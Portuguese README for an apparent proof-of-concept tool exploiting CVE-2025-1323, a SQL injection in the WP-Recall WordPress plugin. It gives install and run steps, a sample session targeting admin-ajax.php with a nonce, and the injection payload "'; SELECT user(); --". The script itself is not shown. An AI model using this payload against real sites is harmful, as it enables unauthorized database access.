cve-2025-1323

Injeção SQL no Plugin WP-Recall

⚠️ Aviso Legal

Esta ferramenta destina-se exclusivamente a testes de segurança autorizados e uso educacional.
Não utilize contra sistemas sem permissão explícita. O uso indevido pode ser ilegal.

✅ Requisitos

• Python 3.x
• Módulo requests

Instale as dependências:

pip install requests

python CVE-2025-1323.py

Insira a URL alvo (ex.: https://target.com/wp-admin/admin-ajax.php): https://example.com/wp-admin/admin-ajax.php
Insira o valor de ajax_nonce: 37c11b0c06

[*] Enviando payload: '; SELECT user(); --

[+] Resposta recebida:
{"result":"SQL error or leaked data here..."}